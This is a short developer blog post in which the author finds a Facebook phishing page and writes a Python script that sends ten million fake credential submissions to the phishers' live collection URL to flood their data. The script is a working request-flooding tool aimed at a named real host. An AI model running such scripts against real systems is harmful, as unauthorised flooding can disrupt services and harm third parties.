Spamming Scammers
Tags: javascript, cybersecurity
Published: 2021-07-07 22:46:19

Have you ever received a text from a friend that was unfortunately hacked on Facebook?

*Phishing* is where an untrustworthy website pretends to be someone they are not, in order to collect visitors' login information.

I really dislike phishers, so I decided maybe I would get revenge. Five of my friends sent me a "video" just today.

I clicked on the "video", and it took me to a fake Facebook login page. I looked into the page, and saw this HTML:

```html

<form method="post" action="https://mortalkomb07.xyz//save.php?api=1&amp;lan=facebooknew&amp;ht=1&amp;counter0=combo1407" class="mobile-login-form _5spm" id="login_form" data-sigil="m_login_form" data-autoid="autoid_2" data-countryinsert="true">
    ...
    <input name="pass" type="password">
    <input name="username" type="text">
    ...
</form>

```

I decided I would replicate fake requests, and hopefully overwhelm them with false data, at least delaying them from attacking other, real, accounts.

I loaded some fake usernames, passwords, and country data (that was also included in the form.)

# Setup

First, we import some libraries.

Then, we load some fake data.

```python3
import requests
import random
import string
import json

url = 'https://mortalkomb07.xyz//save.php?api=1&lan=facebooknew&ht=1&counter0=combo1407'
chrome_user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'

firstnames = json.load(open("firstnames.json"))
surnames = json.load(open("surnames.json"))
countries_and_states = json.load(open("countries_and_states.json"))['countries']

email_domains = ['yahoo.com', 'gmail.com', 'hotmail.com', 'verizon.net']

letters = string.ascii_lowercase
numbers = string.digits

password_chars = string.ascii_letters + string.digits

coinflip = lambda: bool(random.randint(0, 1))

```

# The Loop

Now, we loop 10,000,000 times.

Each time, an email gets generated based on random names and surnames.

A country and state are chosen randomly.

A password is generated as a string of random characters.

Finally, a request is sent to their server.

```python3

for x in range(10000000):
	email = ''
	# first name
	email += random.choice(firstnames).lower()

	# add a surname
	if coinflip():
		email += "." if coinflip() else ""
		email += random.choice(surnames).lower()

	if coinflip():
		email += str(random.randint(0, 100))
		
	email += "@" + random.choice(email_domains)

	password = ''
	for y in range(random.randint(8, 20)):
		password += random.choice(password_chars)

	country_and_states = random.choice(countries_and_states)
	while len(country_and_states['states']) == 0:
		country_and_states = random.choice(countries_and_states)

	country = country_and_states['country']
	state = random.choice(country_and_states['states'])

	# send the request

	requests.post(url, {
		"ua": "",
		"email": email,
		"pass": password,
		"pais": country,
		"Country": country,
		"country": country,
		"state": state
	}, headers={
		"User-Agent": chrome_user_agent
	}, allow_redirects=False)

	print("sent", x + 1, "fake emails and passwords")
```

Later, the output is:

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1h5ejbvwjho09mwn1bac.png)

This was a fun exercise, and hopefully the scammers get held back.